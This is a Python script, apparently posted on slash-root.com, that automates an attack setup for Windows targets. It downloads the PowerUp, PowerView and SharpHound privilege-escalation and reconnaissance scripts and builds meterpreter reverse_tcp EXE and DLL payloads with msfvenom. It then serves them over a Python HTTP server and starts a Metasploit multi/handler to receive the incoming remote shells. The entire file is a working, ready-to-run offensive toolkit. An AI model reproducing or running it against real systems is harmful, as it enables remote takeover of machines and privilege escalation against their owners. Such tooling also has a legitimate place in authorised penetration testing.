# Import necessary modules from threading import Thread # For concurrent downloading import urllib.request # For downloading PowerShell scripts from urllib.parse import urlparse # To parse URLs import os # To run shell commands import argparse # For command-line arguments parsing import time # For delaying the Python HTTP server start # Define the version string version = 'Useful Tool Downloader and Creator v1.0 by Alex' # Create the argument parser parser = argparse.ArgumentParser() # Define possible command-line arguments and their behaviors parser.add_argument('-a', const='all', action='append_const', help='Download and create all tools', dest='actions', default=[]) parser.add_argument('-p', const='powershell', action='append_const', help='Create PowerShell Scripts Only', dest='actions') parser.add_argument('-r', const='reverse', action='append_const', help='Create meterpreter x64 reverse TCP DLLs and EXE Only', dest='actions') parser.add_argument('-m', const='multihandler', action='append_const', help='Create multi/handler using MSFConsole', dest='actions') parser.add_argument('-s', const='server', action='append_const', help='Create HTTP Python Server', dest='actions') parser.add_argument('-v', action='version', version=version, help='Version Number') # Parse the command-line arguments args = parser.parse_args() # List of PowerShell scripts to download powershellscripts = [ 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1', 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1', ] # File types for reverse shells file_types = ['exe', 'dll'] # Function to download a specific PowerShell script def powershell(script_url): # Define a header for the request to mimic a browser request header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0'} try: # Make the request to download the script req = urllib.request.Request(script_url, headers=header) html = urllib.request.urlopen(req).read() # Save the downloaded script to a file open(urlparse(script_url)[2].split("/")[-1], "w").write(html.decode()) # Print the name of the downloaded script print("Downloading PS Tool: " + format(urlparse(script_url)[2].split("/")[-1])) except Exception as err: # Print an error message if the download fails print("Error Downloading: " + urlparse(script_url)[2].split("/")[-1]) finally: pass # Placeholder, no actions needed after the try-except block # Function to download all PowerShell scripts concurrently def download_powershell_scripts(): threads = [] print("--- Downloading PowerShell Scripts ---") for script in powershellscripts: # Start a new thread for each download t = Thread(target=powershell, args=(script,)) t.start() threads.append(t) # Wait for all threads to finish for t in threads: t.join() # Function to generate a reverse shell of a specific file type def generate_reverse(ip, port, file_type): try: print("Creating rev.{}...".format(file_type)) # Use msfvenom to generate the reverse shell os.system("msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={} LPORT={} -b {} -f {} > rev.{}".format(ip, port, r"\x00", file_type, file_type)) except Exception as err: # Print an error message if the generation fails print("\nError creating rev.{}: ".format(file_type) + str(err)) finally: pass # Placeholder, no actions needed after the try-except block # Function to generate both DLL and EXE reverse shells def reverse(ip, port): print("\n--- Creating windows/x64/meterpreter/reverse_tcp DLL and EXE ---") for file_type in file_types: generate_reverse(ip, port, file_type) # Function to start a Python HTTP server def create_python_http(port): print("\n--- Creating HTTP Python Server ---") try: # Start the Python HTTP server os.system("python3 -m http.server {} &".format(port)) # Wait for 2 seconds to ensure the server starts successfully time.sleep(2) except Exception as err: # Print an error message if the server creation fails print("Error creating Python HTTP Server: " + str(err)) finally: pass # Placeholder, no actions needed after the try-except block # Function to create a multi-handler using MSFConsole def create_multi_handler(ip, port): print("\n--- Creating multi/handler using MSFConsole ---") try: # Start MSFConsole with the specified command os.system("qterminal -e 'msfconsole -x \"use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {}; set LPORT {}; set ExitOnSession false; run\"'".format(ip, port)) except Exception as err: # Print an error message if the multi-handler creation fails print("Error creating multi/handler: " + str(err)) finally: pass # Placeholder, no actions needed after the try-except block # Main function to handle user input and start the desired actions def main(): if 'all' in args.actions or 'reverse' in args.actions: ip1 = input("Enter IP for rev.exe: ") port1 = input("Enter PORT for rev.exe: ") reverse(ip1, port1) if 'all' in args.actions or 'powershell' in args.actions: download_powershell_scripts() if 'all' in args.actions or 'server' in args.actions: port2 = input("\nEnter PORT for Python Server: ") create_python_http(port2) if 'all' in args.actions or 'multihandler' in args.actions: ip3 = input("\nEnter IP for multi/handler: ") port3 = input("Enter PORT for multi/handler: ") create_multi_handler(ip3, port3) # Entry point of the script: start the main function if __name__ == '__main__': main()
Copyright © 2023 - slash-root.com